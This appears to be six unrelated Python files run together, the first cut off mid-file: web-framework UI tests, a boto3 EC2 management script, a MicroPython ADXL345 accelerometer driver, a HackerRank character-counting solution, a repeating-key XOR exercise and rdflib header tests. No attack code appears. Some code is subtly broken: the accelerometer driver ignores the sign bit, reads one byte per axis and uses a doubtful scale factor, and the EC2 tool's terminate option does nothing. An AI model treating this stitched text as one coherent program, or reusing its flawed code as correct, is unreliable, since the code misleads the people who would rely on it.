                f'#{store}-output', json.dumps({'clicks': i})
            )
            stored = browser.driver.execute_script(getter)

            assert stored['clicks'] == i

    await browser.executor.execute(browser.driver.refresh)
    await asyncio.sleep(1)
    stored = browser.driver.execute_script(local_getter)
    assert stored['clicks'] == 24

@pytest.mark.async_test
async def test_prefer_external(start_visit, browser):
    from tests.apps.prefer_external import app

    await start_visit(app)

    scripts = await browser.wait_for_elements_by_xpath(
        '//script[contains(@src, '
        '"https://unpkg.com/react@17.0.2/umd/react.production.min.js")]'
    )
    assert len(scripts) == 1

@pytest.mark.async_test
async def test_global_requirements(start_visit, browser):
    from tests.apps.app_requirements import app

    await start_visit(app)
    await browser.get('http://localhost:8150/')

    scripts = await browser.wait_for_elements_by_xpath(
        '//script[contains(@src, "withRequirements.js")]'
    )
    assert len(scripts) == 1

@pytest.mark.async_test
async def test_regex_bindings(start_page, browser):
    from tests.apps.pages.regex_bindings import page

    await start_page(page)
    state_input = await browser.wait_for_element_by_id('state1')

    for j in range(1, 3):

        identity = f'btn{j}'
        state_input.send_keys(Keys.BACKSPACE * 4)
        state_input.send_keys(identity)
        await asyncio.sleep(0.1)
        await browser.click(f'#{identity}')

        for i in range(1, 3):
            await browser.wait_for_text_to_equal(
                f'#output{i}', f'clicked from button {identity}'
            )

        await browser.wait_for_text_to_equal(
            '#data-state2-output', 'data@state2: store'
        )

        await browser.wait_for_text_to_equal(
            '#value-state1-output', f'value@state1: {identity}'
        )

@pytest.mark.async_test
async def test_str_trigger(start_page, browser):
    from tests.apps.pages.str_trigger import page

    await start_page(page)

    state = await browser.wait_for_element_by_id('input')

    for i in range(1, 3):
        state.send_keys(Keys.BACKSPACE)
        state.send_keys(str(i))
        await browser.click(f'#btn{i}')
        await browser.wait_for_text_to_equal(
            '#output-trigger', f'btn{i}'
        )

        await browser.wait_for_text_to_equal(
            '#output-state', str(i)
        )

@pytest.mark.async_test
async def test_pages_dir(start_visit, browser):
    from tests.apps.pages_directory import app

    await start_visit(
        app,
        url='http://localhost:8150/page1',
        pages_directory='tests/apps/page_dir'
    )

    await browser.wait_for_text_to_equal('#page_id', 'Page 1')

    await browser.get('http://localhost:8150/page2')
    await browser.wait_for_text_to_equal('#page_id', 'Page 2')

@pytest.mark.async_test
async def test_ties(start_page, browser):
    from tests.apps.pages.ties import page

    await start_page(page)
    text = 'Hello Ties'

    element = await browser.wait_for_element_by_id('input')
    element.send_keys(text)

    await browser.wait_for_text_to_equal('#output', text)
    await browser.wait_for_text_to_equal('#chain', text)
    await browser.wait_for_text_to_equal('#binding-output', text)
    await browser.wait_for_text_to_equal('#regex-output', text)
    await browser.wait_for_text_to_equal('#regex-target-1', text)
    await browser.wait_for_text_to_equal('#regex-target-2', text)

    text = 'foo bar'

    element = await browser.wait_for_element_by_id('multi')
    element.send_keys(text)

    await browser.wait_for_text_to_equal('#output-1', text)
    await browser.wait_for_text_to_equal('#output-2', text)
    await browser.wait_for_text_to_equal('#regex-output', text)
    await browser.wait_for_text_to_equal('#regex-target-1', text)
    await browser.wait_for_text_to_equal('#regex-target-2', text)

@pytest.mark.async_test
async def test_once_triggers(browser, start_page):
    from tests.apps.pages.once import page

    await start_page(page)

    for bind_type in ('binding', 'tie'):
        initial = f'initial-{bind_type}'
        changed = f'change-{bind_type}'
        await browser.wait_for_text_to_equal(
            f'#{bind_type}-output', initial)

        element = await browser.wait_for_element_by_id(f'{bind_type}-input')
        element.send_keys(Keys.BACKSPACE * len(initial))
        element.send_keys(changed)

        # Bindings are 1 to many, ties many to many
        # Assert that removing once doesn't remove the other tie with
        # same trigger.
        await browser.wait_for_text_to_equal(
            f'#always-{bind_type}', changed
        )
        await browser.wait_for_text_to_equal(
            f'#{bind_type}-output', initial
        )

@pytest.mark.async_test
async def test_calls(browser, start_page):
    from tests.apps.pages.calls import page

    await start_page(page)
    text = 'foo bar'

    simple = await browser.wait_for_element_by_id('simple-input')
    simple.send_keys(text)

    await browser.wait_for_text_to_equal('#simple-output', text)

    circular = await browser.wait_for_element_by_id('circular-input')
    circular.send_keys('k')

    await browser.wait_for_text_to_equal('#circular-output', 'circular output')

    # Asserts states & components can be set
    firstname = await browser.wait_for_element_by_id('firstname')
    firstname.send_keys('foo')
    lastname = await browser.wait_for_element_by_id('lastname')
    lastname.send_keys('bar')

    await browser.click('#submit')
    await browser.wait_for_text_to_equal(
        '#output', 'Hello foo bar'
    )

@pytest.mark.async_test
async def test_skip_initial_binding(browser, start_page):
    from tests.apps.pages.skip_initial import page

    await start_page(page)

    await browser.wait_for_text_to_equal('#click-output', 'clicks')
    await browser.click('#clicker')
    await browser.wait_for_text_to_equal('#click-output', '1')
    await browser.wait_for_text_to_equal('#output', 'output')

    inp = await browser.wait_for_element_by_id('input')
    inp.send_keys(' ok')

    await browser.wait_for_text_to_equal('#output', 'initial ok')


#!/usr/bin/env python3
import argparse, boto3

parser = argparse.ArgumentParser(description="AWS EC2 tool", prog="ec2_tool")
parser.add_argument("--list", help="List EC2 instances", action="store_true")
parser.add_argument("--start", help="InstanceId of EC2 instance to start")
parser.add_argument("--stop", help="InstanceId of EC2 instance to stop")
parser.add_argument("--term", help="InstanceId of EC2 instance to terminate")
args = parser.parse_args()

client = boto3.client('ec2')

def get_ec2_all():
    ec2 = boto3.resource('ec2')
    instances = ec2.instances.all()
    title = "ec2 instances".upper()
    print(title)
    print(len(title)* "*")
    for i in instances:
        for t in i.tags:
            print("{}: {}".format(t['Key'], t['Value']))
        print("InstanceId: {}".format(i.instance_id))
        print("InstanceType: {}".format(i.instance_type))
        print("Status: {}".format(i.state['Name']))
        print("PublicDnsName: {}".format(i.public_dns_name))
        print("PublicIpAddress: {}".format(i.public_ip_address))
        for s in i.security_groups:
            print("SecurityGroup: {}".format(s['GroupName']))
        print("AZ: {}\n".format(i.placement['AvailabilityZone']))

def get_ec2(ec2_id):
    ec2 = boto3.resource('ec2')
    instance = ec2.Instance(ec2_id)
    for t in instance.tags:
        print("{}: {}".format(t['Key'], t['Value']))
    print("InstanceId: {}".format(instance.instance_id))
    print("Status: {}".format(instance.state['Name']))
    print("PublicDnsName: {}".format(instance.public_dns_name))
    print("PublicIpAddress: {}".format(instance.public_ip_address))
    print("AZ: {}".format(instance.placement['AvailabilityZone']))
    for s in instance.security_groups:
        print("Security Group: {}".format(s['GroupName']))

def start_ec2(instance):
    response = client.start_instances(InstanceIds=[instance])

def stop_ec2(instance):
    response = client.stop_instances(InstanceIds=[instance])

def term_ec2():
    print("terminate some shit")

if args.list == True:
    get_ec2_all()

if args.start != None:
    start_ec2(args.start)
    get_ec2(args.start)

if args.stop != None:
    stop_ec2(args.stop)
    get_ec2(args.stop)


from machine import SPI
from machine import Pin
from time import sleep_ms

READWRITE_CMD = const(0x80)
MULTIPLEBYTE_CMD = const(0x40)
DEVID_ADDR = const(0x00)
DATAX1_ADDR = const(0x33)
DATAY1_ADDR = const(0x35)
DATAZ1_ADDR = const(0x37)

ADXL345_DEVID_VAL = const(0xe5)
ADXL345_POWER_CTL_ADDR = const(0x2D)
ADXL345_BW_RATE_ADDR = const(0x2C)
ADXL345_DATA_FORMAT_ADDR = const(0x31)
ADXL345_ENABLE_MSRM_ADDR = const(0x2d)

# Configuration for 100Hz sampling rate, +-2g range
ADXL345_POWER_CTL_CONF = const(0x08)
ADXL345_BW_RATE_CONF = const(0b1111)
ADXL345_DATA_FORMAT_CONF = const(0x10)
ADXL345_ENABLE_MSRM_CONF = const(0x08)

class AD345:
    def __init__(self):
        self.cs_pin = Pin(0, Pin.OUT)
        self.cs_pin.high()
        self.spi = SPI(-1, baudrate=2000000, polarity=1, phase=1, sck=Pin(14), mosi=Pin(13), miso=Pin(12))

        self.devid = self.read_id()

        if self.devid == ADXL345_DEVID_VAL:
            self.write_bytes(ADXL345_POWER_CTL_ADDR, bytearray([ADXL345_POWER_CTL_CONF]))
            self.write_bytes(ADXL345_BW_RATE_ADDR, bytearray([ADXL345_BW_RATE_CONF]))
            self.write_bytes(ADXL345_DATA_FORMAT_ADDR, bytearray([ADXL345_DATA_FORMAT_CONF]))
            self.write_bytes(ADXL345_ENABLE_MSRM_ADDR, bytearray([ADXL345_ENABLE_MSRM_CONF]))
            self.sensitivity = 32
        else:
            raise Exception('ADXL345 accelerometer not present')

    def convert_raw_to_g(self, x):
        if x & 0x80:
            pass

        return x * self.sensitivity / 1000

    def read_bytes(self, addr, nbytes):
        if nbytes > 1:
            addr |= READWRITE_CMD | MULTIPLEBYTE_CMD
        else:
            addr |= READWRITE_CMD
        self.cs_pin.low()
        self.spi.write(bytearray([addr]))
        sleep_ms(10)
        buf = self.spi.read(nbytes)
        sleep_ms(10)
        self.cs_pin.high()
        return buf

    def write_bytes(self, addr, buf):
        if len(buf) > 1:
            addr |= MULTIPLEBYTE_CMD
        self.cs_pin.low()
        self.spi.write(bytearray([addr]))
        sleep_ms(10)
        for b in buf:
            self.spi.write(bytearray([b]))
            sleep_ms(10)
        self.cs_pin.high()

    def read_id(self):
        return self.read_bytes(DEVID_ADDR, 1)[0]

    def x(self):
        return self.convert_raw_to_g(self.read_bytes(DATAX1_ADDR, 1)[0])

    def y(self):
        return self.convert_raw_to_g(self.read_bytes(DATAY1_ADDR, 1)[0])

    def z(self):
        return self.convert_raw_to_g(self.read_bytes(DATAZ1_ADDR, 1)[0])

    def xyz(self):
        return (self.x(), self.y(), self.z())


"""
Given a string , which is the company name in lowercase letters, your task is to find the top three most common characters in the string.

Print the three most common characters along with their occurrence count.
Sort in descending order of occurrence count.
If the occurrence count is the same, sort the characters in alphabetical order.

https://www.hackerrank.com/challenges/most-commons/problem
"""

s = "aabbbccde"

"""
First approach: manual count 🐌🐌🐌
"""
char_list = [char for char in s]
unique_char_list = list(set(char_list))

result = []
for char in unique_char_list:
    count = 0
    for character in s:
        if character == char:
            count += 1
    result.append((char, count))
    count = 0

result.sort(key=lambda item: (-item[1], item[0]))
for index, item in enumerate(result):
    if index <= 2:
        print(item[0], item[1])

"""
Second approach: count using Counter 🏎🏎🏎
"""
from collections import Counter

chars = Counter(s).items()

for char, count in sorted(chars, key=lambda item: (-item[1], item[0]))[:3]:
    print(char, count)

"""
3rd approach: using class 🤯🤯🤯
"""
from collections import Counter, OrderedDict

class OrderedCounter(Counter, OrderedDict):
    pass

[print(*c) for c in OrderedCounter(sorted(s)).most_common(3)]


from  binascii import hexlify
from chall2 import xor_hex

def encrypt_xor( plaintext, key):
	"""
		XORS plaintext with repeted key using function from challenge 2.
		Splits plaintext on every '\n' char
	"""

	lines = plaintext.split('\n')

	xor = ""
	for line in lines:

		to_multiply = int(len(line)/len(key))+1

		hexlified1 = str( hexlify( bytes( line, 'utf-8' ) ) )[2:-1]
		hexlified2 = str( hexlify( bytes(key*to_multiply, 'utf-8')) )[2:len(hexlified1)+2]

		xor += xor_hex(hexlified1, hexlified2) + '\n'

	return xor

if __name__=="__main__":

	secret = "Burning 'em, if you ain't quick and nimble\nI go crazy when I hear a cymbal"
	key = "ICE"

	print ( encrypt_xor(secret, key), end='' )


from rdflib import Graph
from rdflib.plugins.stores.sparqlstore import SPARQLStore, SPARQLUpdateStore

from rdflib_orm.db import set_store_header_read, set_store_header_update

def test_set_store_header_read():
    """SPARQL headers are set correctly for a SPARQLStore."""
    store = SPARQLStore()
    g = Graph(store=store)
    set_store_header_read(g.store)
    assert g.store.kwargs['headers'].get('content-type') is None

def test_set_store_head_update():
    """SPARQL headers are set correctly for a SPARQLUpdateStore."""
    store = SPARQLUpdateStore()
    g = Graph(store=store)
    set_store_header_update(g.store)
    assert g.store.kwargs['headers'].get('content-type') == 'application/sparql-update'